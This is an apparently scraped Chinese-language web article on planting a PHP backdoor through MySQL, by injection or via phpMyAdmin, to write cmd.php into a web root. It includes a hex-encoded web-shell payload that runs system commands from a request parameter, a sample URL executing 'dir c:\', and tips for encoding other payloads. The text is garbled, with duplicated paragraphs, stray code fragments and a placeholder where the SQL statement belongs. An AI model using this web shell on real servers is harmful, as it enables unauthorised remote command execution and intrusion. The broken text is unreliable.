运用Mysql语句生成后门木马的具体方法_MySQL
通过Mysql 的语句生成后门木马的方法:
|
通过Mysql 的注入或者在 phpmyadmin 里运行以上语句,则会C:/inetpub/wwwroot/下生成 cmd.php 文件,内容为原来的 vbb_strikes 内容,后面紧跟着:
通过Mysql 的注入或者在 phpmyadmin 里运行以上语句,则会C:/inetpub/wwwroot/下生成 cmd.php 文件,内容为原来的 vbb_strikes 内容,后面紧跟着:
再通过 http://www.xxx.com/cmd.php?cmd=dir c:\ 就可以执行系统DOS命令!
问:那串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么?
答:就是下图代码中的十六进制编码,
如果不用这种方法,有不同的SQL版本会出现其它的编码:如%xx之类的,哪这个后门就不能执行了!如果你有其它语名要弄,可以到UltraEdit里输入,再按[Ctrl+H]键,将里面的十六进制连在一起就可以了! REQUEST[cmd]);?> |
再通过 http://www.xxx.com/cmd.php?cmd=dir c:\ 就可以执行系统DOS命令!
问:那串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么?
答:就是下图代码中的十六进制编码,
___FCKpd___2 |
如果不用这种方法,有不同的SQL版本会出现其它的编码:如%xx之类的,哪这个后门就不能执行了!如果你有其它语名要弄,可以到UltraEdit里输入,再按[Ctrl+H]键,将里面的十六进制连在一起就可以了!
推荐阅读
-
PHP+Mysql实现多关键字与多字段生成SQL语句的函数
-
使用IDbCommandInterceptor解决EF-CORE-3.x-使用MYSQL时,未正常的生成LIKE查询语句
-
一款在线ER模型生成的工具: MySQL逆向工程,ER模型生成,通过DDL语句生成ER模型
-
Mysql语句 AND 和 OR 的运用
-
mysql - phpmyadmin可视化删除数据生成的 sql 语句缺少条件
-
通过Mysql的语句生成后门木马的方法_MySQL
-
MySQL与MSSQl使用While语句循环生成测试数据的代码_MySQL
-
PHP+Mysql实现多关键字与多字段生成SQL语句的函数,mysqlsql
-
PHP实现的通过参数生成MYSQL语句类完整实例_PHP
-
封装的 mysql类, 和sql语句生成类